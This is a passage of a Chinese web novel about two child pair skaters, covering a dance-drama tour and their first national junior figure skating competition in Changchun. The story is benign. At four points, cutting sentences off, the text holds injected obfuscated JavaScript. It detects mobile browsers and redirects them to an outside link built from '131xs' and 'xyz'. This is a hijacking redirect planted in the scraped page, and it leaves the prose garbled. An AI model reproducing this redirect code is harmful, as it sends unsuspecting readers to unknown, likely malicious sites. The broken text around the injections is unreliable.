据他所知,高校的舞剧并不是一次性节目,如果反响不错,甚至可能在全国巡演。 这不是无解的命题。 他的解决方案也简单。 既然他们认为无赛可比,那就参加比赛。 18. 想成为她 赶上末班车,贺嘉岁和应逢年报名了全国花样滑冰青少年系列赛的长春站。 林风致了解事情原委后直呼,原来还可以这样。 应逢年说:“其实不是很想参加。” 他们最近的训练有些瓶颈。 除了跳跃周数在改善,换足旋转基本在原地踏步,转速不快,圈数不多,尤其是贺嘉岁。 勉强凑够八圈,多一圈都晕得不行,比要命还难受。 贺嘉岁怂恿林风致:“要不你们也参加吧,距离报名截止还有几天。” “你忘了,我的级数不达标。” 他们这赛季考级晚,来不及在最后一站追级*。 就算是进度最快的贺嘉岁和应逢年,此前被认定自由滑三级,也刚刚摸到少年乙组*的门槛。 起码是能名正言顺加入精英组的行列。 “但就算我的步法通过,搭档也肯定不乐意。”林风致摊手。 这么几个月过去,她和搭档的矛盾一点没消解,虽然没在教练面前闹得难看,私下已经不往来了。 贺嘉岁对他俩互删联系方式感到诧异。 难道搭档不该相亲相爱吗? 就像她和应逢年。 哦,他们也正在打嘴仗呢,关于谁在跳跃上拖后腿,谁又在旋转上当瘸子。 “贺嘉岁,教练让我盯着你改换足技术。”应逢年滑过来。 “少假传圣旨,”贺嘉岁听话动身,但嘴里可不能让他占便宜,“教练让我检查你的外点周数。” 应逢年抱着胳膊:“你的外点两周也不够数。” 贺嘉岁学他欠打的模样:“总比只有外点两周的男单强。” 不知是不是这么一激将,应逢年放开胆子跳,没两节课就稳定了1A和2F。 他俩又回到了同一起跑线。 “不会的,我的其他两周已经在路上了。”贺嘉岁自信。 …… 9月29日,周五。 大概全国所有中小学生都沉浸在明天需要补课调休的悲伤里。 贺嘉岁看见班里哀嚎一片,安慰说:“还好我们只上半天学。” “还有半天在训练,你是一点不提。”应逢年说。 也还好吧,她昨天过了旋转换足的小考,被教练夸再接再厉,心里正高兴。 中午赶回训练基地,场馆安静得诡异。 平时训练的运动员少了大半,教练居然也没到。 林风致他们来得早,已经跟着舞蹈老师先练开,贺嘉岁和应逢年刚换上训练服,在硬地上拉伸。 教练迟到了十分钟。 嘀—— 没盼来教练,倒是有陌生人刷开闸门。 “是辛教练。”应逢年提醒。 贺嘉岁仔细分辨,那身旧运动服的确像辛教练的穿搭。 辛成林走近,问说:“那两对小冰舞呢?” 这是他们的行话。 年轻的冰舞组合叫小冰舞,年轻的双人滑组合叫小双,贺嘉岁不止一次觉得自己像古风小说里的丫头。 “还在拉韧带。”她瞅了眼教室。 “我今天替杨教上课,你告诉他们,按时在冰场北面集合。” 哪里是北? 她来北京一年,也没分清东西南北。 但这不是找不着北的问题。 “那我和应逢年呢?”她问。 从辛教练的第一句话开始,他俩就没有被包含在内。 “杨教在赶来的路上,你们去基地外等他。” 怎么听着像基地易主。 但他们只有照做的权利。 跳了一半的绳扔一边,披上外套,贺嘉岁和应逢年做贼似的溜走。 “今天是个重大的日子。”小姑娘嘴里念。 应逢年听她振振有词。 “2017年9月29日13:44,辛教练趁基地无人,擅闯花滑馆,并抓四名运动员为质,史称辛成林起义。” 为了确认时间,她还看了眼手表。 真严谨,不愧是她。 应逢年差点左脚绊右脚,有些无语:“让你平时少和林风致交流小说。” 平时看的都是什么,神神叨叨。 “不觉得我很有文化吗?” 到达辛教练说到的任务点,贺嘉岁意欲踹他一脚,看教练刚好下车,收敛了些。 应逢年趁势狐假虎威:“你敢让我在教练面前夸你的文化吗?” 她“哼”了声,还是算了。 不过,他们至今不知道辛教练把他俩赶出来的含义。 “教练,”应逢年拥上去告状,“辛教练抢了您的学生。” 教练打量:“你们不就在这里?” “辛教练不让我训练,让我们在这里等您。”贺嘉岁搭腔。 教练似乎并不意外,把他们塞进车才解释:“你们有别的任务。” 还有什么任务更重要,连花滑也不练了。 贺嘉岁倒乖,上车就系好安全带,什么疑惑都没问出口。 “我要带你们去看比赛。”教练先出声。 应逢年问:“全国青少年赛?” “对,就是你们要在明年一月参加的青少年赛。” 全国花滑青少年赛是一个系列赛,本赛季共开设两站。 贺嘉岁/应逢年将参加的是第二站,承办地在长春。 他们前往观摩的是第一站,就在北京。 “国内练习双人滑和冰舞的小运动员相对少,第一站只开设了单人滑。” 今天是最后一个比赛日,将决出女单少年甲组和男单少年甲组的冠军。 使用内部票,教练赶在开赛前带他们落座运动员区。 视野很宽阔,周围有不少于昨日完赛的选手。 “你好,可以给我签个名吗?” 场上还在首组运动员热身,贺嘉岁就遇上了节目。 “我吗?”她指着自己,再次确认。 怎么会有陌生人突然找自己要签名。 按照班里追星女生的思路,他们只该找自己的偶像才对。 “是你们,”陌生女生画了个圈,把她和应逢年都包含在内,“我是来集邮的。” 贺嘉岁听不懂,对方也没打算继续解释。 她写字很丑,她想这么拒绝。 但看到笔记本上满满当当一页纸,其他选手的字迹也不怎么样,她没有了理由。 也是。 抛开花滑的光环,大家都是十来岁、或者不到十岁的小朋友,哪里有把所有天赋都点满的好运气。 “别签在白纸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788519|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”教练没拦着,但给她指了一处花花绿绿的地方。 贺嘉岁觉得自己像被摆布的玩偶,草率地完成了人生第一次签名。 随后是第二次,第三次。 “我也没名气呀。”她嘟囔。 “参加青少年赛的,没几个有名气,”教练说,“但以后可不一定。” 这些人里,一定会有华夏花滑的未来,那一页满是签名的纸,也未必没有价值。 这么说,贺嘉岁有些受宠若惊。 原来他们把她当成参赛选手,被划入“花滑的未来”的范围。 以前,她的名字只会写在学期新发的教材和作业本上,今天才感觉到签名的爽快。 她看向应逢年。 “干嘛?”应逢年以为她有事要吩咐,提前拒绝,“我也签了很多名,手酸。” “手摊开。” 他不明所以。 贺嘉岁握着手指,在他的手心签下自己的名字。 “不用谢,”她先发制人,“这是你的荣幸。” …… 应逢年断续叨咕了两个小时,左不过在说贺嘉岁自恋。 “行了,到最后一组了。”教练叹气。 时间过得真快,女单最后一组已经入场练习,广播在一一播报她们的名字。 “有常希贻?” 贺嘉岁听到熟人,瞬间来了精神,扒着前一排的椅背。 教练点头:“有,她是短节目的第二名。” 一组共有五位选手,别人不难找到那抹身影,常希贻一定是年纪最小的那个。 她太优秀了。 在同龄人还待在低级别组历练的时候,她已经敢放言去公开组闯荡。 如果顺利,她在明年就能拿到双八级证书,完成她的这一目标。 “十多年前,有个和她一样惊艳的女单选手。”教练说。 贺嘉岁问:“是容翡前辈吗?” 曾经被认为是阚玉接班人的新星,将在明年代表华夏参加平昌冬奥会,作为双人滑选手。 “我是想告诉你们,时间可以改变太多,从前的光辉不一定能指引未来。” 同理,今天蜷缩在无人注意的角落里,也不代表明天也得不到属于自己的掌声。 原来是在拐着弯安慰人。 “常希贻上场了。” 有观众展开自己制作的大旗,扬起来加油助威。 现场有很多看好她的人。 钢琴曲开场,常希贻在冰场上滑行,跳跃。 “是外点三周吗?” “她七岁就能练出三周跳了吗?我以为两周半已经是这个年龄的上限。” 甚至这个所谓的上限,也是常希贻刷新的。 小姑娘轻轻一跳,留给观众巨大的震颤。 她第一次把三周跳放进节目,就上了双3T。 原以为她在甲组难度稍显逊色,毕竟同组尽是大她好几岁的选手。 但现在看,似乎差距也不大。 她给观众带来了一套完美的自由滑,即使强上难度导致最后体能不支,但无伤大雅。 起码领奖台是稳住了。 “有何感想?”教练问。 “想成为她。”贺嘉岁说。 择日不如撞日,今天就加练吧。 19. 第 19 章(待补充) 国庆小长假,贺嘉岁和应逢年一天也没闲着。 舞团的排练紧锣密鼓,领导随时可能驾临。 “听逢年说,你们最近在备赛?”休息间隙,冯女士问。 贺嘉岁点头:“还有几个月。” 不过不管有没有比赛,他们的训练都是老样子,舞蹈、陆训、上冰,再抽两个小时搓节目。 要是不考虑写家庭作业的时间,还能应付。 “我前几天去了趟首舞附中,找了其他小演员,最近正在磨合。” 就像舞台剧流行的双卡司机制,贺嘉岁和应逢年被编入A卡,作为舞剧的主要演员阵容。 但遇到诸如比赛之类避不开的时间,则启用B角。 A、B组演员可以机动轮换,负担不会太大。 中秋节,舞剧在首都舞蹈学院的大剧院完成第一次试演。 在座除了学校领导,还有不少内部人员,台下零零散散坐了好几百人,规模不小。 “故事脉络清晰,演员功底很好,”校领导夸奖完,才回到正题,“秋翊,你刚到我校就成立了古典舞团,学校上下很重视。” 冯女士颔首:“舞剧的应急预案和其他手续,我都已上报学校邮箱,方便你们查收。” “学校今年只批了这一个A级项目,流程应该走得很快,年底就能设立专项经费。” “谢谢。” 舞台落下帷幕,剧院的灯暗下去。 学生回到化妆间,讨论能不能凭这个角色拿到人生第一桶金。 “等有了经费,一定会有工资的。” “经费是用来对接社会资源的,巡演还要砸钱。” 但这总不会是只加学分的买卖吧? 况且教授的亲儿子和干闺女也在组里呢。 贺嘉岁和应逢年跟着冯女士回了公寓。 几月不见,房间多了一些绿植,这是贺嘉岁建议的。 但怎么……种的是生菜。 “和气生财,还能拌沙拉。”冯女士从里间抱了个礼盒出来。 贺嘉岁迅速把一排生菜忘在一边,站起身:“这是给我的礼物?” “嗯,答应你的。” 她记起来了。 是人生中第一件花滑表演服。 闪着碎光的裙子安安静静躺在盒里,贺嘉岁小心翼翼地抚摸,她听见冯阿姨说:“生日快乐。” 她的生日在八月,一年中最炎热的时候。 因为正值暑假,不能和朋友们分享快乐,很少成为可以庆祝的日子。 就算是最爱她的爸爸,也只会提前下班,在回家的路上买一块千层。 这件表演服是她收到的最精致的生日礼物,虽然迟到了一个多月。 把裙子抖开,每颗小钻都反着早秋的阳光,细碎的光斑打在脸上,像朦胧的星河。 “我也有份?”身后的应逢年惊讶。 他也拎着自己的那套,站在阳台,又是一道星河。 贺嘉岁瞥了眼,他的表演服是黑白配,远不如自己的好看。 “你这是沾了我的光,”她转折,“不过也生日快乐。” 虽然对他来说,又早了一个多月。 …… 《青空引》自十月在首舞面世,很快得到社会人士响应。 舞团先是在北京的两所高校进行小规模展演,反响不错,而后直接乘火车去了天津。 贺嘉岁和应逢年是这一场的主演。 在副教授之外,冯女士也是个普通的母亲,看孩子们收拾的行李,一阵狐疑。 “确定老师没留作业?” “没有,”贺嘉岁抢答,“老师让我们过一个愉快的元旦节。” 还没顾上感叹北京教学氛围确实宽松,冯女士又是疑问:“你们缺席两天训练,也没问题吗?” “教练让我们快滚。” 教练不同意他们一心二用,请假时总说下不为例,但次次都是下次。 其实也还好,这只是他们第二次请假,事不过三。 应逢年补充:“等演出结束,我和贺嘉岁直接去长春准备比赛。” 冯女士笑话他们,年纪不大,行程不少。 至于为什么教练会准假放他们去天津,少不了贺嘉岁巧舌如簧。 她说,应逢年经常在比赛前紧张,需要多参加演出适应舞台。 冰场也是不同形式的舞台。 …… 辗转到长春的时候,教练在机场等候多时。 他已经到达好几天,住在官方酒店里,没有工作,也没有学生,像光杆司令、孤家寡人。 “你们怎么这么早飞过来?”他问。 距离开赛还有一个多星期,酒店不能提前办理入住,还是他自掏腰包订的房间。 “如果不出意外,我会先病两天。”贺嘉岁抓了抓不存在的胡子,宛若先知。 不出她所料。 到达长春当晚,她就开始上吐下泻,身上起了一片疹,包里备的藿香正气水快把她灌醉了。 她没告诉教练,也没有林风致作陪,只让应逢年进了房间。 他看着一桌凌乱的药,皱眉问:“你的反应怎么这么强烈?去天津都没事。” 贺嘉岁要面子,偷偷给房间开窗散味,但刺骨的风从缝隙钻进来,强烈的不适感又涌上心头。 “天津和北京才哪到哪?” 她接过应逢年递来的温水,把异样压下去。 胃里舒服些,身上红疹就生得明显,贺嘉岁恨不能把爪子钉死,手臂已经被挠出细细密密的红点。 应逢年翻了翻药堆,又参照说明书推开药膏,最后把手背附在她的额头。 “冇发烧,瞓一觉就好啦。” 天色很晚。 一连忙了许多天,贺嘉岁累得不行,身体终于舒服些许,她得趁早睡一觉。 “如果可以,出门前帮我关灯,谢谢,”她应该是困糊涂了,“你想待在这里也行。” 应逢年把灯关掉,才发觉贺嘉岁根本没拉窗帘。 清冷的月光泄进来,打在床尾一角,他好像能描摹出它的形状。 但贺嘉岁没发现。 大概病来如山倒,会让她卸下对所有事物的防备。 “需要拉窗帘吗?”他问。 贺嘉岁的意识哼出一声。 唰—— 她睁着迷蒙的眼睛,循声看去。 “病出幻觉了,我看见应逢年来接我了。” …… 在酒店将养两天,等下一个雪过初霁天,贺嘉岁重新生龙活虎。 应逢年挽起她的袖子,红疹基本消退,盔甲里的脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793042|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱好像从没出现过。 “你真痊愈了?” “必须的。”入乡随俗,贺嘉岁回了句蹩脚的东北话。 再上冰,她和开窍了似的。 脚感找得很快,技术一点没退步。 甚至在练内点两周的时候,还和应逢年琢磨除了勾手两周。 “你确定勾手跳是这样跳的?”贺嘉岁问。 应逢年回头:“难道你的一周不是这样跳的?” “我们居然真把两周跳解锁了!” 他们正式开始花滑的系统训练才不到一年半,能把跳跃掌握到这种程度,算是后来者居上。 很多从小练到大的同龄运动员,也没比他们的难度大多少。 贺嘉岁有个提议。 “教练,我们可以替换自由滑的单跳吗?” 教练正在低头回消息,听她这话,手机也不看了。 “不行。”他拒绝。 “可是我和应逢年的成功率都在一半以上。” “难度不是这么兑现的。” “试试……” “贺嘉岁。” 贺嘉岁被应逢年捂嘴,强制收声。 “我们的跳跃问题很大,距离比赛只有四天,改不过来。”应逢年在她的耳边说。 勾手跳是几种跳跃里最难掌握的,至于原因,大多运动员会说一个字:怪。 起跳的感觉太怪了。 压住主力腿重心,又要尽可能保持清晰的后外刃,还得判断浮腿点冰的位置,太内或太外都跳不起来。 他们在练习时已经发觉了问题。 因为急于起跳收紧,拉回主力腿的时间早,他们的用刃比一周跳时浅得多。 还有轴心和滑出,也马马虎虎。 贺嘉岁绞着手指,小声说:“我这不是想让我们更有竞争力嘛。” 她早晨向写签条的志愿者打听,这站的少乙组会有十一对双人滑,比单人滑少,但对他们来说很多。 这几乎决定他们能拿多少名。 “一步一个脚印,你们能在每次比赛中进步,就足够了。” “我们在短节目里上两周跳,”应逢年点头,“这是史诗级大进步。” 贺嘉岁瞪他。 他到底帮谁说话,怎么总呛她。 …… 参赛选手名单在开赛前两天公示,运动员人数果然和小道消息对上号。 运动员一多,没有积分的也多,只能抽签决定出场顺序。 应逢年问:“你去还是我去?” 十来平的小准备室,几十人坐着有些拥挤。 他们用包剪揼决了几局胜负,他次次输。 “应逢年,这是命。”贺嘉岁拍了拍,把他送上台。 签条在当时就被展示,纸上赫然写了个“11”。 全场最后一位登场,不知道是好还是不好。 事实证明…… 抽签还得赢家上。 每一组完成比赛,都给等待上场的他们带来压力。 可以完成捻转两周和抛跳两周的运动员为什么会在少乙组。 甚至还有单跳放上3T难度的组合。 “有请下一组选手贺嘉岁/应逢年,代表北京市冬季运动中心。” 有句话怎么说来着,抛玉引砖。 20. 全国青少年赛·不愧是我们 比之俱乐部挑战赛的分组方式,全国青少年赛的不太一样。 后者是国内仅次于锦标赛的选拔性赛事,更考察运动员的竞技水平,故而分甲、乙组。 不过贺嘉岁懒得深究里面的门道。 对她来说,两场比赛的最大区别在,他们这次得完成两套节目。 《MarriedLife》作为组合的自由滑曲目,可以一直沿用几个赛季,他们完全熟悉这套节目,可以直接保留。 但短节目就需要另找高明。 “现在学节目,应该还来得及。”九月的时候,她如是讲。 可她忽略了一个问题。 一套节目后是一个团队在运行,剪辑、编舞都要花钱。 贺嘉岁对人民币没什么概念:“那就花钱。” 当时的教练给她列了几项需要花钱的地方,大概意思是,没个几万下不来。 几万,爸爸的工资完全能应付,但她没愿意花这个钱。 就为了一场比赛,无异于大炮轰蚊子。 最后,还是教练从中协调,找与冬运中心合作的团队要了授权,改编了队里其他组合的自由舞。 “居然是我的节目?”林风致得知消息时,狠狠地送了祝福,“那和我附体有什么区别,god会blessyou。” 她念着新学的外国话。 贺嘉岁严肃拒绝。 如果真请林风致上了身,她会成为节目里最大的变数。 赛前准备时间在倒数,贺嘉岁和应逢年举手巡场,在冰场中央起势。 几场比赛和练习,他们逐渐学会如何成为一个专业的运动员。 处变不惊,从容不迫。 但音乐一开始,画风来了个大转弯。 短节目的音乐《AWholeNewWorld》选自动画电影《阿拉丁》,典型的迪士尼风格。 “Icanshowyoutheworld(我愿带你去一个新世界), shining,shimmering,splendid(光彩闪耀,绚烂壮阔).”* 竖琴拨开这段故事,应逢年先向贺嘉岁滑去,阿拉丁问起他的公主,她何时才能做好决定。 一个契合歌词的拍肩动作后,两人调整方位,进入同向小跳,手拉手握法开始压步。 这套节目的衔接仍以压步为主。 也有一些俏皮的小动作,贺嘉岁尽力去刻画公主的模样,上肢运用得很饱满。 一圈稍微离地的小托举后,他们就着姿态,待机准备进入第一个技术动作,2组托举。 应逢年掐着她的腰,手臂未伸直,贺嘉岁离地分腿,高度看起来还不错。 两周的连续转体,是一级的配置。 “Icanopenyoureyes(我能打开你的眼界), takeyouwoderbywonder(带你看尽一切).” 落冰后逆时针调整方位,有个迎合重音的上肢舞蹈亮相,两人随即在对角线处分开。 故事里的阿拉丁邀请公主坐上他的魔毯,冰场上,贺嘉岁和应逢年滑过冰场中心的logo,酝酿节目里唯一的单跳。 2F的同步率居然出奇得一致。 转向不同,他们的落冰离得近,只需一个步法就能再度牵手。 但贺嘉岁只是借应逢年的力,转三调整方位,几个渐进的并列步法,两人才逐渐靠近。 手拉手握法,保持平衡的另一只手有模仿魔毯飞起的起伏,随后以直立姿态完成莫霍克步。 男伴趁势把女伴拉近,双手扣住她的侧腰,使力往上一提,一个捻转分腿完成。 捻转分腿并不属于单独的技术动作,四舍五入可以记为0Tw,零周捻转。 这个动作不在ISU的规定范围内,也没有基础分值,但可以占一个技术动作的位置。 在这个组别,他们需要在短节目里完成六个技术动作。 不过乙组的水平参差,选手年纪普遍小,没有文件要求他们必须完成。 此前登场的众多选手里,也没有多少人能完全上满六个技术动作。 贺嘉岁觉得分腿捻转没有美感,但教练依然坚持把这个动作编进节目,用他的话说,起码给个态度。 要是裁判知道他们正在苦练捻转,能多给表现分也说不定。 当然,贺嘉岁觉得这不太靠谱。 “AWholeNewWolrd(一个崭新的世界), adazzlingplaceIneverknew(一个我从未知道的耀眼世界).” 有男声富有叙述感的嗓音铺垫,剔透的女声迅速抓住观众的耳朵,提琴和小号把调扬起,翱翔新世界的魔毯仿佛就在脚下。 这是节目的最高|潮部分,贺嘉岁和应逢年进入后外螺旋线。 这对他们来说,也是极艰难的动作。 他们无法满足低姿滑行、难度进入,甚至没办法做到让女伴的头低于男伴的膝盖,贺嘉岁抬起浮腿,在应逢年的规尺动作引导下,完成两圈向后的燕式滑行。 同样以燕式滑出。 应逢年松手时,贺嘉岁的重心没跟上,卡顿了半拍。 踉跄被掩饰成刀齿步,他们在旋律的高亢处,并排向前奔去。 弓步滑行变跪冰动作,紧接转体半周,他们在起身时挽住彼此。 男声与女声交织,琴声旋转着向上,铜管始终恢宏。 公主迈步走入崭新的世界,她看见难以置信的景色,体会难以形容的感受。 又一声感叹中,他们进入接续步。 左前内变后外的括弧步,借刃完成转三,一圈结环步后改变主力腿。 弓步姿态下转三,刀齿步调整重心和方位,右足括弧接后摇滚步,再以乔克塔步结束上半段步法。 步法大概是最劳心费力的技术,不像不会就不会的数学。 他们从入门就开始练习步法,到一年之后,已经能够熟练掌握各种简单步和难度步法,但要把他们连成一串,确实还力不从心。 林风致形容为“兵不血刃”,不知道又是从那本小说里学到的词。 几乎来到长轴的另一端,他们以长弧线伴随踢腿动作完成换向,继续下半段步法。 这一次,他们的主力腿和滑向都不一样,轨迹交错,是衔接进入旋转的前兆。 后外到前外内勾步接改变主力腿的两圈捻转步,他们在滑出后压步、转三,前C进入单人联合旋转。 滑协同样没对旋转做硬性规定。 不过和自由滑不同,贺嘉岁和应逢年将刚掌握的换足技术应用到动作里。 两圈燕式转后变蹲踞姿态,换足蹲转后逐渐变直立姿态。 满足八圈的基本要求,有三种姿态变换,如果不考虑动作质量,能拿到三级。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820782|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌曲最后的吟唱,阿拉丁和公主终于来到只因为他们而存在的地方。 贺嘉岁和应逢年以舞蹈结尾,最后背对背,各自向远方眺望。 他们也会找到新世界。 …… 贺嘉岁的童年总和舞蹈分不开。 舞蹈之外,她的生活还算完整。 其他孩子爱看的公主书她看过,格林童话她也听爸爸讲过,公主们的名字知道得七七八八。 但因为这套节目,她才知道除了城堡,那些公主还有一个家:迪士尼。 这首歌就是迪士尼制作的,很好听。 回想节目里磕磕绊绊的种种,她笃定:“观众应该都顾着听歌,没人在意我们的失误。” 教练摇头:“个别失误可能肉眼不可见,但你们的表现一般,想不注意都难。” “贺嘉岁/应逢年,短节目技术分11.42分,节目内容分13.25分,总得分为24.67分。” 贺/应结束后,少乙组的所有双人组合表演完毕。 排行榜出现在头顶,他们排在第九位。 应逢年点头:“第九名好,很吉利。” 起码,他们居然不是倒数第一。 “你在高兴什么?”贺嘉岁睨着他。 在准备这套节目时,教练就和他们计算过: 一级2组托举,内点两周,一级后外螺旋线,接续步和旋转都是按三级设计,基础分值在12.30分。 显然,他们的GOE扣得太多,导致技术分比BV还少。 这不是值得高兴的事。 应逢年被她扫兴,梗着脖子回到后场,拉教练一同较劲。 好啊,来啊。 立马回看录像,比谁的失误更多。 视频开始半分钟,贺嘉岁先发制人,“哇哦”了声:“你的内点两周跳得比我丑。” 应逢年不听:“只讨论技术。” “你的内点技术比我丑。” “我还觉得左脚点冰别扭呢。” 暂且被教练中止第一回合,贺嘉岁和应逢年继续分析。 到步法部分,他们的眉头皱得一个比一个深。 在赛场,他们暂且做不到保证自身完成情况的同时,调整和搭档的步调。 所以,他们的接续步毫无同步可言,像两个人物没有对上轨道,音轨又独自唱得响亮。 “应逢年,你连踢腿都没站稳。” “你的燕式彼此彼此。” “我那是重心没定好。” “只是重心的问题吗?”教练不听他们互相指摘,开始加入战局。 他们的每个步法都有错误。 应逢年的每个括弧步的转体都偏早,贺嘉岁的内勾步转体又过度,摇滚步的幅度和走过场似的,两人挑不出半个能媲美训练水平。 他用数据说话,在纸上一一列开。 最后推断出,他俩的托举和捻转分腿太过模糊,生生被扣成基础级。 “不愧是我们。” 争先恐后地互相拖后腿。 “还有旋转,听着……” 抿了口茶,教练还有话要说。 清冰时间都结束,下个项目的选手从身边检录通过,贺嘉岁和应逢年听得困了,哈欠在互相传染。 他们在刚刚就偷偷和好了,打算一致对外。 至于“外”嘛,指明天的自由滑,还有现在的瞌睡虫。 21. 全国青少年赛·北京冬奥看你们了…… 次日的自由滑,依旧是少乙组打头阵。 因为在短节目中排名靠后,贺/应在第一组的第三位出场。 他们的配置基本还是挑战赛的样子,除了按要求加了组螺旋线和捻转,一周的单跳和抛跳没动。 没有强上难度,但三分钟的节目,滑下来依然勉强。 下场的时候,贺嘉岁几乎贴着板墙走。 “我不一样,我还能再滑一遍。”应逢年说。 “那你驼什么背?”她拍上他的肩胛骨,“请像舞蹈生一样走过去。” 世界上最长的路,就是完成表演后,跋涉向等分区的通道。 这设计不合理呀,不顺路! 应逢年像搁浅的鱼,挣扎两回,最后心安理得:“我现在是运动员。” “驼背的运动员也很难看。” 还是这句话最有杀伤力。 贺嘉岁看他的红晕盖住虚脱,用尽余力维持形象。 像上身笔直,但刚装上腿的筷子。 坏心思得逞,她安慰说:“没关系,其实没人在意你。” 她扫了扫周围看台,大家都在关注场上热身的运动员。 听教练说,他们是单人滑的兼项选手,在各自的领域有些成就,名气不小。 “你在意。” 应逢年猝不及防地打断视线。 “嗯?” “你在意。”他说。 贺嘉岁对上他的眼睛,觉得刚才被握着抱着的地方,延迟地烧起来。 原来红晕会转移,从一个人的脸颊,爬上另一个人的脸。 应逢年大喘气:“你连我偷吃几片吐司都能记恨半个月,你超在意我的。” “你连我在不在意都知道,”贺嘉岁先一步跨进等分区,“到底是谁在意谁。” 她想,她大概拟好人生目标了:像应逢年这样没脸没皮地活着。 教练在沉默。 他想把孩子们的注意拉回赛场,但几度张口,只发现话题越跑越远。 “等过完新年,我要加大你们的体能训练。”他说第二次。 旁边的贺嘉岁和应逢年依然在悄悄算账,无人在意。 “贺嘉岁/应逢年,自由滑技术分13.12分,节目内容分16.93分,两套总分54.72分,暂列第二位。” 组合总体难度不如昨天的短节目,技术分平平无奇。 但好歹自由滑突破了三十分。 “暂列第二位,我们没打过上一组吗?”贺嘉岁终于想起自己还有个教练。 “上一组有难度,单跳和抛跳都是两周,技术分高一大截。” “两周而已,”她懊悔,“我们也可以尝试两周跳的。” 目前,她和应逢年基本能掌握三到四种两周跳,抛2F虽然缺周,但不至于降组。 “得加大体能训练才行,”教练重申,“你们的体力是弱项,连一周套都支撑不住。” 排名是暂时的,不到最后尘埃落定,谁都不敢说一句百分百。 紧随他们出场的真是一对小高手。 虽然短节目连连失误,但选手在自由滑中拿出完美的3T单跳,托举和抛跳还编有难度进入,直接坐上冲击领奖台的火箭。 也有选手和他们一样,没有难度续航,从领奖台的位置掉下去。 不过竞争怎样戏剧,没有选手撼动他们的位置。 他们坐实了第十名的板凳。 “第十名,很吉利。”应逢年说。 “好耳熟。” 贺嘉岁回想,他昨天也说过同样的话。 “十全十美,这是个特别好的开端。” 除了自恋,应逢年的自我安慰也有一套,他沉浸在自己的抽象思维无法自拔。 “但我们差点就能前进一位,”贺嘉岁指着排行榜,“我们是第九名的实力。” 他们和前面的组合只差不到一分,如果兑现难度,很难说清最后的形势。 应逢年点头:“第九名也很好,九九归一。” 贺嘉岁想,自己一定是有病,居然试图理解他的思维。 照他的想法,现在得了第九,以后就能拿第一。 可惜他们和第九名擦肩而过。 不过,她听见他补充:“短节目的第九名,也算第九名。” …… 全国青少年赛的余波很短。 坐上离开长春的火车,看窗外的雪逐渐变薄,和大楼一个颜色的枯树枯草取代旷野,记忆似乎瞬间就被拉远。 “我们住的酒店叫什么来着?”贺嘉岁已经忘了。 她前后在那里住了两周,只知道伙食不错,餐前开胃的莲藕汤比爸爸炖的还正宗。 路程还长,应逢年闲来无事,从包里翻出作业。 她惊讶。 在人来人往的车厢,飘着各种饭味的车厢,他居然能静下心。 好奇地凑近,应逢年只是把题干里的方框涂黑,给解读的小人儿画两颗小虎牙。 她松一口气。 “这里有篇关于比赛的报道。” 教练有些老花,收着脖子细品了遍,才把手机转个方向。 [《华夏“花滑未来”冰上炫舞技术棒,北京冬奥看你们了!》]* 只看标题,贺嘉岁就起了层小疙瘩,把手机递给应逢年。 她自信能滑出一个未来,能超额完成夹克衫们的任务。 但上冬奥会这事,她尚只敢在睡觉时肖想。 “冬奥会快开始了。” 再过半个多月,新一届冬奥会就将在韩国平昌拉开帷幕,华夏运动员应该已经乘上班机,去兑现属于自己的四年。 而下一届冬奥的主办国,是2022年的华夏。 国际奥委会宣布这则重磅消息时*,他们还没入行。 甚至可以说,他们被挑选成为花滑运动员,就是为了北京冬奥会的人才储备。 只有四年,留给他们的时间不多。 应逢年拜读这则新闻,把每张照片都翻了翻,嘀咕说:“咱们上不了北京冬奥会。” “你在讲什么废话。” “我是说年纪。” 有风声传,国际滑联将在平昌冬奥后,逐渐上调运动员的参赛年龄。 即使现行规则仍然把成年组的最低年龄卡在十五岁,他们在北奥赛季升组,迎头就是个巨大挑战。 贺嘉岁看他盯着屏幕发愣,问道:“你在想什么?” “我在想,做个什么白日梦好。” 应逢年没细说。 自己两周跳还没悟明白,已经开始展望奥运。 …… 回北京没两周,训练基地就放了长假。 园区里的孩子走的走、散的散。 贺嘉岁也收拾好东西,借了林风致的手机,打算买张机票回滨南。 但想到爸爸经常在年关不着家,她一个人待着没意思,又一一把行李归位。 “今年放得好早。”林风致叼了袋牛奶,手里翻着日历。 “早吗?” 小学放假一直早,附中和附小是一体两校,怎么也该放了。 何况这种大雪欲来的天气,就适合放假。 “基地的其他集训队也在说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 